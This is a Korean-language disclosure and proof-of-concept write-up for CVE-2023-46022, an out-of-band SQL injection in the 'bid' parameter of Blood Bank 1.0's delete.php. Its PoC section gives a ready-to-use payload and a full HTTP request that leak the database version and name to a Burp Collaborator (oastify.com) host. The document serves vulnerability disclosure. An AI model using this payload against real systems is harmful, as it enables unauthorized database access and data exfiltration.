CVE-2023-46022-Code-Projects-Blood-Bank-1.0-OOB-SQL-인젝션-취약점

• 익스플로잇 작성자: ersinerenler

공급업체 홈페이지

• https://code-projects.org/blood-bank-in-php-with-source-code

소프트웨어 링크

• https://download-media.code-projects.org/2020/11/Blood_Bank_In_PHP_With_Source_code.zip

개요

• Code-Projects Blood Bank V1.0은 /delete.php 파일의 'bid' 매개변수를 통한 Out-of-Band (OOB) SQL 인젝션과 관련된 심각한 보안 취약점에 노출되어 있습니다. 이 취약점은 적절한 보호 메커니즘의 부족으로 인해 발생하며, 공격자가 매개변수를 악용하여 Burp Collaborator를 통해 OOB SQL 인젝션 공격을 수행할 수 있게 합니다. 이로 인해 데이터베이스에서 무단 액세스 및 민감한 정보 추출이 발생할 수 있습니다.

취약점 세부정보

• CVE ID: CVE-2023-46022
• 영향을 받는 버전: Blood Bank V1.0
• 취약한 파일: /delete.php
• 매개변수 이름: bid
• 공격 유형: 로컬

참고자료:

• https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-46022
• https://nvd.nist.gov/vuln/detail/CVE-2023-46022

설명

• Code-Projects Blood Bank V1.0의 /delete.php 파일에 있는 'bid' 매개변수는 Out-of-Band SQL 인젝션에 취약합니다. 이 취약점은 불충분한 보호 메커니즘에서 비롯되며, 공격자가 Burp Collaborator를 사용하여 매개변수를 악용해 OOB SQL 인젝션 공격을 시작할 수 있습니다. 이 기술을 통해 공격자는 잠재적으로 데이터베이스에서 민감한 정보를 추출할 수 있습니다.

개념 증명 (PoC):

• Burp Suite를 통해 delete.php에 대한 요청을 가로챕니다.
• 취약한 매개변수에 페이로드를 주입합니다.
• 페이로드: 3'%2b(select%20load_file(concat('\\\\',version(),'.',database(),'.collaborator-domain\\a.txt')))%2b'
• bid 매개변수에 대한 예시 요청

---
GET /bloodbank/file/delete.php?bid=3'%2b(select%20load_file(concat('\\\\',version(),'.',database(),'.cuaxacpnxbay7ss8o3csf4bkwb22qtei.oastify.com\\a.txt')))%2b' HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: close
Referer: http://localhost/bloodbank/bloodinfo.php
Cookie: PHPSESSID=<some-cookie-value>
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
---

• Burp Suite Collaborator를 통해 데이터베이스 및 버전 정보가 확보되었습니다.